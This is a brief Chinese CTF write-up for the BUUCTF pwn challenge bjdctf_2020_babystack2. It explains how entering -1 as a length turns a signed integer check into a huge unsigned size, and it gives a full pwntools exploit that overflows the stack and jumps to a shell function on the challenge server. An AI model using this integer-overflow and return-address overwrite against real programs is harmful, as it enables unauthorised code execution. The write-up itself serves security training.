[BUUCTF-pwn]——bjdctf_2020_babystack2
先checksec一下
在IDA中查看一下,注意想要栈溢出,首先需要nbytes足够大。size_t类型在标准C语言库中,是unsigned int类型, 64位 long unsigned int。
而%d 是按照int类型读取的,我们读入-1。其实就相当于一个很大的数字,但是可以绕过检查。具体可以了解下整型溢出
exploit
from pwn import *
p = remote("node3.buuoj.cn",25718)
shell_addr = 0x0400726
p.sendlineafter('[+]Please input the length of your name:\n','-1')
p.recv()
payload = '\x39'*(0x10 + 0x8) + p64(shell_addr)
p.send(payload)
p.interactive()